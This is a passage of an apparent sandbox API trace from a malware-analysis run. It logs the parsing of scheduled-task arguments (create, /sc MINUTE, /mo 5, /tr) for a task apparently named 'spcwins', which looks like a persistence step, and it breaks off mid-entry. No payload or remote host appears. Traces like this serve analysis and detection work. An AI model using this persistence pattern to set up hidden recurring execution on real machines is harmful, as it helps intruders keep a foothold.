SetLastError (dwErrCode=0x0) [0130.828] lstrlenW (lpString="spcwins") returned 7 [0130.828] StrChrIW (lpStart="spcwins", wMatch=0x3a) returned 0x0 [0130.828] SetLastError (dwErrCode=0x490) [0130.828] SetLastError (dwErrCode=0x0) [0130.828] lstrlenW (lpString="spcwins") returned 7 [0130.828] SetLastError (dwErrCode=0x0) [0130.828] SetLastError (dwErrCode=0x0) [0130.828] lstrlenW (lpString="/sc") returned 3 [0130.828] lstrlenW (lpString="-/") returned 2 [0130.829] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.829] lstrlenW (lpString="create") returned 6 [0130.829] lstrlenW (lpString="create") returned 6 [0130.829] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.829] lstrlenW (lpString="sc") returned 2 [0130.829] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.829] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|create|") returned 8 [0130.829] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.829] lstrlenW (lpString="|create|") returned 8 [0130.829] lstrlenW (lpString="|sc|") returned 4 [0130.829] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0130.829] SetLastError (dwErrCode=0x490) [0130.829] lstrlenW (lpString="?") returned 1 [0130.830] lstrlenW (lpString="?") returned 1 [0130.830] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.830] lstrlenW (lpString="sc") returned 2 [0130.830] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.830] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|?|") returned 3 [0130.830] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.830] lstrlenW (lpString="|?|") returned 3 [0130.830] lstrlenW (lpString="|sc|") returned 4 [0130.830] SetLastError (dwErrCode=0x490) [0130.830] lstrlenW (lpString="s") returned 1 [0130.830] lstrlenW (lpString="s") returned 1 [0130.830] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.830] lstrlenW (lpString="sc") returned 2 [0130.830] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.831] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|s|") returned 3 [0130.831] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.831] lstrlenW (lpString="|s|") returned 3 [0130.831] lstrlenW (lpString="|sc|") returned 4 [0130.831] SetLastError (dwErrCode=0x490) [0130.831] lstrlenW (lpString="u") returned 1 [0130.831] lstrlenW (lpString="u") returned 1 [0130.831] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.831] lstrlenW (lpString="sc") returned 2 [0130.831] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.831] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|u|") returned 3 [0130.831] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.831] lstrlenW (lpString="|u|") returned 3 [0130.831] lstrlenW (lpString="|sc|") returned 4 [0130.831] SetLastError (dwErrCode=0x490) [0130.831] lstrlenW (lpString="p") returned 1 [0130.831] lstrlenW (lpString="p") returned 1 [0130.832] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.832] lstrlenW (lpString="sc") returned 2 [0130.832] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.832] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|p|") returned 3 [0130.832] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.832] lstrlenW (lpString="|p|") returned 3 [0130.832] lstrlenW (lpString="|sc|") returned 4 [0130.832] SetLastError (dwErrCode=0x490) [0130.832] lstrlenW (lpString="ru") returned 2 [0130.832] lstrlenW (lpString="ru") returned 2 [0130.832] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.832] lstrlenW (lpString="sc") returned 2 [0130.832] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.832] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ru|") returned 4 [0130.832] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.832] lstrlenW (lpString="|ru|") returned 4 [0130.832] lstrlenW (lpString="|sc|") returned 4 [0130.833] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0130.833] SetLastError (dwErrCode=0x490) [0130.833] lstrlenW (lpString="rp") returned 2 [0130.833] lstrlenW (lpString="rp") returned 2 [0130.833] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.833] lstrlenW (lpString="sc") returned 2 [0130.833] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.833] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rp|") returned 4 [0130.833] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.833] lstrlenW (lpString="|rp|") returned 4 [0130.833] lstrlenW (lpString="|sc|") returned 4 [0130.833] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0130.833] SetLastError (dwErrCode=0x490) [0130.833] lstrlenW (lpString="sc") returned 2 [0130.833] lstrlenW (lpString="sc") returned 2 [0130.833] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.833] lstrlenW (lpString="sc") returned 2 [0130.833] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.834] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.834] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.834] lstrlenW (lpString="|sc|") returned 4 [0130.834] lstrlenW (lpString="|sc|") returned 4 [0130.834] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0130.834] SetLastError (dwErrCode=0x0) [0130.834] SetLastError (dwErrCode=0x0) [0130.834] lstrlenW (lpString="MINUTE") returned 6 [0130.834] lstrlenW (lpString="-/") returned 2 [0130.834] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0130.834] SetLastError (dwErrCode=0x490) [0130.834] SetLastError (dwErrCode=0x490) [0130.834] SetLastError (dwErrCode=0x0) [0130.834] lstrlenW (lpString="MINUTE") returned 6 [0130.834] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0130.834] SetLastError (dwErrCode=0x490) [0130.835] SetLastError (dwErrCode=0x0) [0130.835] GetProcessHeap () returned 0x440000 [0130.835] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45d5a0 [0130.835] _memicmp (_Buf1=0x45d5a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.835] lstrlenW (lpString="MINUTE") returned 6 [0130.835] GetProcessHeap () returned 0x440000 [0130.835] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45d5c0 [0130.835] lstrlenW (lpString="MINUTE") returned 6 [0130.835] lstrlenW (lpString=" \x09") returned 2 [0130.835] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0130.835] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0130.835] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0130.835] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0130.835] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0130.835] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0130.835] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0130.835] GetLastError () returned 0x0 [0130.835] lstrlenW (lpString="MINUTE") returned 6 [0130.835] lstrlenW (lpString="MINUTE") returned 6 [0130.836] SetLastError (dwErrCode=0x0) [0130.836] SetLastError (dwErrCode=0x0) [0130.836] lstrlenW (lpString="/mo") returned 3 [0130.836] lstrlenW (lpString="-/") returned 2 [0130.836] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.836] lstrlenW (lpString="create") returned 6 [0130.836] lstrlenW (lpString="create") returned 6 [0130.836] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.836] lstrlenW (lpString="mo") returned 2 [0130.836] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.836] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|create|") returned 8 [0130.836] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.836] lstrlenW (lpString="|create|") returned 8 [0130.836] lstrlenW (lpString="|mo|") returned 4 [0130.836] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0130.836] SetLastError (dwErrCode=0x490) [0130.837] lstrlenW (lpString="?") returned 1 [0130.837] lstrlenW (lpString="?") returned 1 [0130.837] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.837] lstrlenW (lpString="mo") returned 2 [0130.837] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.837] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|?|") returned 3 [0130.837] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.837] lstrlenW (lpString="|?|") returned 3 [0130.837] lstrlenW (lpString="|mo|") returned 4 [0130.837] SetLastError (dwErrCode=0x490) [0130.837] lstrlenW (lpString="s") returned 1 [0130.837] lstrlenW (lpString="s") returned 1 [0130.837] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.837] lstrlenW (lpString="mo") returned 2 [0130.837] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.837] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|s|") returned 3 [0130.837] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.837] lstrlenW (lpString="|s|") returned 3 [0130.838] lstrlenW (lpString="|mo|") returned 4 [0130.838] SetLastError (dwErrCode=0x490) [0130.838] lstrlenW (lpString="u") returned 1 [0130.838] lstrlenW (lpString="u") returned 1 [0130.838] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.838] lstrlenW (lpString="mo") returned 2 [0130.838] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.838] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|u|") returned 3 [0130.838] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.838] lstrlenW (lpString="|u|") returned 3 [0130.838] lstrlenW (lpString="|mo|") returned 4 [0130.838] SetLastError (dwErrCode=0x490) [0130.838] lstrlenW (lpString="p") returned 1 [0130.838] lstrlenW (lpString="p") returned 1 [0130.838] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.838] lstrlenW (lpString="mo") returned 2 [0130.838] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.838] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|p|") returned 3 [0130.839] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.839] lstrlenW (lpString="|p|") returned 3 [0130.839] lstrlenW (lpString="|mo|") returned 4 [0130.839] SetLastError (dwErrCode=0x490) [0130.839] lstrlenW (lpString="ru") returned 2 [0130.839] lstrlenW (lpString="ru") returned 2 [0130.839] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.839] lstrlenW (lpString="mo") returned 2 [0130.839] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.839] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ru|") returned 4 [0130.839] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.839] lstrlenW (lpString="|ru|") returned 4 [0130.839] lstrlenW (lpString="|mo|") returned 4 [0130.839] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0130.839] SetLastError (dwErrCode=0x490) [0130.839] lstrlenW (lpString="rp") returned 2 [0130.839] lstrlenW (lpString="rp") returned 2 [0130.840] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.840] lstrlenW (lpString="mo") returned 2 [0130.840] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.840] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rp|") returned 4 [0130.840] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.840] lstrlenW (lpString="|rp|") returned 4 [0130.840] lstrlenW (lpString="|mo|") returned 4 [0130.840] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0130.840] SetLastError (dwErrCode=0x490) [0130.840] lstrlenW (lpString="sc") returned 2 [0130.840] lstrlenW (lpString="sc") returned 2 [0130.840] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.840] lstrlenW (lpString="mo") returned 2 [0130.840] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.840] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.840] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.840] lstrlenW (lpString="|sc|") returned 4 [0130.840] lstrlenW (lpString="|mo|") returned 4 [0130.840] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0130.840] SetLastError (dwErrCode=0x490) [0130.840] lstrlenW (lpString="mo") returned 2 [0130.840] lstrlenW (lpString="mo") returned 2 [0130.840] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.840] lstrlenW (lpString="mo") returned 2 [0130.840] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.841] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.841] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.841] lstrlenW (lpString="|mo|") returned 4 [0130.841] lstrlenW (lpString="|mo|") returned 4 [0130.841] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0130.841] SetLastError (dwErrCode=0x0) [0130.841] SetLastError (dwErrCode=0x0) [0130.841] lstrlenW (lpString="5") returned 1 [0130.841] SetLastError (dwErrCode=0x490) [0130.841] SetLastError (dwErrCode=0x0) [0130.841] lstrlenW (lpString="5") returned 1 [0130.841] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0130.841] SetLastError (dwErrCode=0x490) [0130.841] SetLastError (dwErrCode=0x0) [0130.841] _memicmp (_Buf1=0x45d5a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.841] lstrlenW (lpString="5") returned 1 [0130.841] lstrlenW (lpString="5") returned 1 [0130.841] lstrlenW (lpString=" \x09") returned 2 [0130.841] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0130.841] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0130.841] GetLastError () returned 0x0 [0130.841] lstrlenW (lpString="5") returned 1 [0130.841] lstrlenW (lpString="5") returned 1 [0130.841] GetProcessHeap () returned 0x440000 [0130.841] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x4) returned 0x45ba10 [0130.841] SetLastError (dwErrCode=0x0) [0130.841] SetLastError (dwErrCode=0x0) [0130.841] lstrlenW (lpString="/tr") returned 3 [0130.841] lstrlenW (lpString="-/") returned 2 [0130.841] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.841] lstrlenW (lpString="create") returned 6 [0130.841] lstrlenW (lpString="create") returned 6 [0130.842] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.842] lstrlenW (lpString="tr") returned 2 [0130.842] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.842] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|create|") returned 8 [0130.842] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.842] lstrlenW (lpString="|create|") returned 8 [0130.842] lstrlenW (lpString="|tr|") returned 4 [0130.842] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0130.842] SetLastError (dwErrCode=0x490) [0130.842] lstrlenW (lpString="?") returned 1 [0130.842] lstrlenW (lpString="?") returned 1 [0130.842] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.842] lstrlenW (lpString="tr") returned 2 [0130.842] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.842] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|?|") returned 3 [0130.842] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.842] lstrlenW (lpString="|?|") returned 3 [0130.842] lstrlenW (lpString="|tr|") returned 4 [0130.842] SetLastError (dwErrCode=0x490) [0130.842] lstrlenW (lpString="s") returned 1 [0130.842] lstrlenW (lpString="s") returned 1 [0130.842] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.842] lstrlenW (lpString="tr") returned 2 [0130.842] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.842] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|s|") returned 3 [0130.842] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.842] lstrlenW (lpString="|s|") returned 3 [0130.842] lstrlenW (lpString="|tr|") returned 4 [0130.842] SetLastError (dwErrCode=0x490) [0130.842] lstrlenW (lpString="u") returned 1 [0130.843] lstrlenW (lpString="u") returned 1 [0130.843] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.843] lstrlenW (lpString="tr") returned 2 [0130.843] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.843] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|u|") returned 3 [0130.843] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.843] lstrlenW (lpString="|u|") returned 3 [0130.843] lstrlenW (lpString="|tr|") returned 4 [0130.843] SetLastError (dwErrCode=0x490) [0130.843] lstrlenW (lpString="p") returned 1 [0130.843] lstrlenW (lpString="p") returned 1 [0130.843] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.843] lstrlenW (lpString="tr") returned 2 [0130.843] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.843] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|p|") returned 3 [0130.843] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.843] lstrlenW (lpString="|p|") returned 3 [0130.843] lstrlenW (lpString="|tr|") returned 4 [0130.843] SetLastError (dwErrCode=0x490) [0130.843] lstrlenW (lpString="ru") returned 2 [0130.843] lstrlenW (lpString="ru") returned 2 [0130.843] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.843] lstrlenW (lpString="tr") returned 2 [0130.843] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.843] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ru|") returned 4 [0130.843] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.843] lstrlenW (lpString="|ru|") returned 4 [0130.843] lstrlenW (lpString="|tr|") returned 4 [0130.843] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0130.843] SetLastError (dwErrCode=0x490) [0130.844] lstrlenW (lpString="rp") returned 2 [0130.844] lstrlenW (lpString="rp") returned 2 [0130.844] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.844] lstrlenW (lpString="tr") returned 2 [0130.844] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.844] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rp|") returned 4 [0130.869] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.874] lstrlenW (lpString="|rp|") returned 4 [0130.874] lstrlenW (lpString="|tr|") returned 4 [0130.874] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0130.874] SetLastError (dwErrCode=0x490) [0130.874] lstrlenW (lpString="sc") returned 2 [0130.874] lstrlenW (lpString="sc") returned 2 [0130.874] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.874] lstrlenW (lpString="tr") returned 2 [0130.874] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.874] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.874] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.875] lstrlenW (lpString="|sc|") returned 4 [0130.875] lstrlenW (lpString="|tr|") returned 4 [0130.875] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0130.875] SetLastError (dwErrCode=0x490) [0130.875] lstrlenW (lpString="mo") returned 2 [0130.875] lstrlenW (lpString="mo") returned 2 [0130.875] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.875] lstrlenW (lpString="tr") returned 2 [0130.875] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.875] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.876] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.876] lstrlenW (lpString="|mo|") returned 4 [0130.876] lstrlenW (lpString="|tr|") returned 4 [0130.876] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0130.876] SetLastError (dwErrCode=0x490) [0130.876] lstrlenW (lpString="d") returned 1 [0130.876] lstrlenW (lpString="d") returned 1 [0130.876] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.876] lstrlenW (lpString="tr") returned 2 [0130.876] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.877] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|d|") returned 3 [0130.877] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.877] lstrlenW (lpString="|d|") returned 3 [0130.877] lstrlenW (lpString="|tr|") returned 4 [0130.877] SetLastError (dwErrCode=0x490) [0130.877] lstrlenW (lpString="m") returned 1 [0130.877] lstrlenW (lpString="m") returned 1 [0130.877] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.877] lstrlenW (lpString="tr") returned 2 [0130.877] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.877] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|m|") returned 3 [0130.877] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.877] lstrlenW (lpString="|m|") returned 3 [0130.877] lstrlenW (lpString="|tr|") returned 4 [0130.878] SetLastError (dwErrCode=0x490) [0130.878] lstrlenW (lpString="i") returned 1 [0130.878] lstrlenW (lpString="i") returned 1 [0130.878] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.878] lstrlenW (lpString="tr") returned 2 [0130.878] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.878] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|i|") returned 3 [0130.878] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.878] lstrlenW (lpString="|i|") returned 3 [0130.878] lstrlenW (lpString="|tr|") returned 4 [0130.878] SetLastError (dwErrCode=0x490) [0130.878] lstrlenW (lpString="tn") returned 2 [0130.878] lstrlenW (lpString="tn") returned 2 [0130.878] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.878] lstrlenW (lpString="tr") returned 2 [0130.879] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.879] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.879] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: 